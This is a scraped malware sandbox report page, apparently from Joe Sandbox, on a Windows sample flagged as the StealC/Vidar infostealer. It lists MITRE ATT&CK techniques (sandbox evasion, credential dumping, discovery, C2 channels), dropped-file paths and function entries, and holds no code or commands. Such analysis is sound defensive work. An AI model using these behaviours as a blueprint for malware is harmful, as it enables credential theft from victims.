Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEBAKKJ

C:\ProgramData\AFBKKFBAEGDHJJJJKFBKFHCAFC

C:\ProgramData\CFHIIJDBKEGIDHIDAFCFBGHIJD

C:\ProgramData\DHJECFCGHIDGHIDHDHIE

C:\ProgramData\GDBAKKKFBGDHJKFHJJJJ

C:\ProgramData\IECGIEBA

C:\ProgramData\JJDBAAEGDBKKECBGIJEBGDAEBF

C:\ProgramData\KECGDBFCBKFIDHIDHDHI

C:\ProgramData\KFBGCAKFHCFHJKECFIIDAEHJDA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00B09860 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 212
libraryloaderCOMMON

Function 00AF45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00B04910 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172
fileCOMMON

Function 00AFBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CAA35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00B09C10 Relevance: 226.4, APIs: 112, Strings: 17, Instructions: 684
libraryloaderCOMMON

Function 00AF7710 Relevance: 100.3, APIs: 54, Strings: 3, Instructions: 584
stringmemoryCOMMON

Function 00B00250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre